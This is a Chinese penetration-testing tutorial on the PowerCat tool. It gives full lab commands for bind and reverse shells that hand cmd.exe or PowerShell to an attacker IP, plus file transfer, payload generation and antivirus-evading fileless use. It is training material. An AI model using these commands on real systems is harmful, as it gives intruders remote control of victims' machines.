关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:PowerCat 工具介绍
PowerCat 工具获取
PowerCat 官方仓库:GitHub - besimorhino/powercat: netshell features all in version 2 powershell
PowerCat 本地资源存储:powercat.zip
PowerCat 是一个使用 PowerShell 写的针对 Windows 系统的 TCP/IP 瑞士军刀,可以看成是 NetCat 的 PowerShell 实现,通过 PowerCat 我们可以进行反弹连接、文件上传、端口扫描等操作。另外由于 PowerShell 的特殊性,我们可以实现无文件落地攻击(可绕过部分杀软),这从一方面弥补了 NetCat Windows 版本“一剪梅”(落地直接被杀) 的特性。
0x0101:PowerCat 安装方法
下载好后的 PowerCat 是一个 ps1 文件,即 PowerShell 脚本文件,使用该文件前我们还需要在 PowerShell 中进行导入。
进入 Windows PowerShell 中,输入下面的命令导入 powercat.ps1 文件:
Import-Module .\powercat.ps1
如果出现未能加载指定模块,则可能是权限问题(你得有最高管理员权限),需要输入下面的命令:
- # 这个是调整 PowerShell 权限,允许所有脚本运行,但是在运行前会提示是否进行此次操作
- Set-ExecutionPolicy Unrestricted
0x0102:PowerCat 命令解析
参数 | 含义 |
---|---|
-l | 监听连接 |
-c | 连接到侦听器 |
-p | 要连接或监听的端口 |
-e | 指定连接后要执行的命令 |
-ep | 执行 PowerShell |
-r | 中继;格式:“-r tcp : 10.1.1.1 : 443” |
-u | 通过 UDP 传输数据 |
-dns | 通过 dns 传输数据 |
-dnsft | DNS 故障阈值 |
-t | 超时选项,默认为 60 |
-of | 输出文件路径 |
-rep | 中继器,断开连接后重新启动 |
-g | 生成有效载荷 |
-ge | 生成编码的有效载荷 |
-h | 打印帮助信息 |
0x02:PowerCat & NetCat 建立正向连接
对于正向连接与反向连接的使用场景,相信看过前面 NetCat(NC)反弹 Shell 的小伙伴都已经很清楚了,所以笔者这里就不费笔墨讲解场景了,直接开始实验。
复现环境
攻击机 Kali Linux:IP 192.168.0.102
靶机 Windows7 专业版:IP 192.168.0.105
在 Windows 靶机中加载完 PowerCat 后输入以下命令:
- # 任何连接我 8080 端口的人都将得到运行我本机 cmd.exe 权限,等待时间: 180 秒
- powercat -l -p 8080 -e cmd.exe -v -t 180
然后我们在攻击机 Kali 中输入下面这条命令,主动连接靶机的 8080 端口,获取它的 Shell:
nc 192.168.0.105 8080 -vv
如上,攻击机成功通过正向连接获取了靶机的 Shell,这种情况适用于攻击机与靶机处于同一网段中且二者能互相 Ping 通时使用。
0x03:PowerCat & NetCat 建立反向连接
复现环境
攻击机 Kali Linux:IP 192.168.0.102 - VMware 设置为桥接模式
边界机器 B(物理机):IP 192.168.0.101 / 172.16.0.1
靶机 Windows7 专业版:IP 172.16.0.100 - VMware 设置为 NAT 模式
PowerCat 与 NetCat 配合执行反弹 Shell 也十分简单,首先在攻击机中输入以下命令,监听本机的 8888 端口,等待靶机主动上线:
nc -lvvp 8888
然后在 Windows 靶机中执行以下命令(前提是你 PowerCat 导入完成了),主动将自己的控制权移交给攻击机正在监听的端口:
powercat -c 192.168.0.102 -p 8888 -v -e cmd.exe
此时我们再回到 Kali Linux 查看正在监听的端口:
如上,攻击者成功拿到了靶机的 Shell,这种方式适用于攻击者无法访问受害者靶机,但是受害者靶机能够访问攻击者机器的情况。
0x04:PowerCat & PowerCat 建立反向连接
这里 PowerCat 对 PowerCat 建立反向连接的章节只是一个拓展,场景与上面 PowerCat & NetCat 建立反向连接的场景是一致的,只要靶机能访问的了攻击机就行,攻击机表示自己无所谓。
复现环境
攻击机 Windows7 专业版:IP 172.16.0.102
靶机 Windows7 专业版:IP 172.16.0.100
首先,在 Windows 攻击机中执行如下操作(前提,你导入了 PowerCat),等待靶机主动上线:
powercat -l -v -p 8888 -t 180 # 超时时间可以设置长一点
然后在靶机上执行如下命令,主动将自己的控制权移交给攻击机:
powercat -c 172.16.0.102 -p 8888 -v -ep
然后我们回到攻击机视角,如下,靶机成功上线:
0x05:PowerCat 的其他用法
PowerCat 还有其他很多的功能,这里做一个了解,万一实战就用上了呢。
0x0501:PowerCat 文件传输
在接收端执行如下命令(会将收到的数据放到 test.txt 中,这个文件名是随便你改的):
powercat -l -p 8888 -of test.txt -v -t 180 # 将收到的数据都保存到当前目录的 test.txt 中
在发送端执行如下命令,会传送 hello.txt 给目标端口:
- powercat -c 172.16.0.102 -p 8888 -i C:\Users\defender\Desktop\hello.txt -v
-
- # C:\Users\defender\Desktop\hello.txt => 这个是你要传递给接收端的文件,必须写绝对路径,笔者测试了半天相对路径都无法传递
0x0502:PowerCat 生成 Payload
除了可以像上面那样将 PowerCat 导入后直接执行,还可以将 PowerCat 制作成 ps1 脚本,上传到靶机后直接运行,下面笔者以 PowerCat 生成正向连接 Pyaload 为例,讲解一下 Payload 制作方法。
复现环境
攻击机 Windows7 专业版:IP 172.16.0.102
靶机 Windows7 专业版:IP 172.16.0.100
在攻击机中通过使用如下命令可以使用 PowerCat 生成一个正向连接的 Payload:
powercat -l -p 8000 -e cmd.exe -v -t 180 -g >> shell.ps1
将上面的 shell.ps1 上传到靶机后通过靶机的 powershell 直接运行:
.\shell.ps1
然后在攻击机中通过下面这个命令连接靶机的 8000 端口即可获得靶机的控制权:
powercat -c 172.16.0.100 -p 8000 -v



评论记录:
回复评论: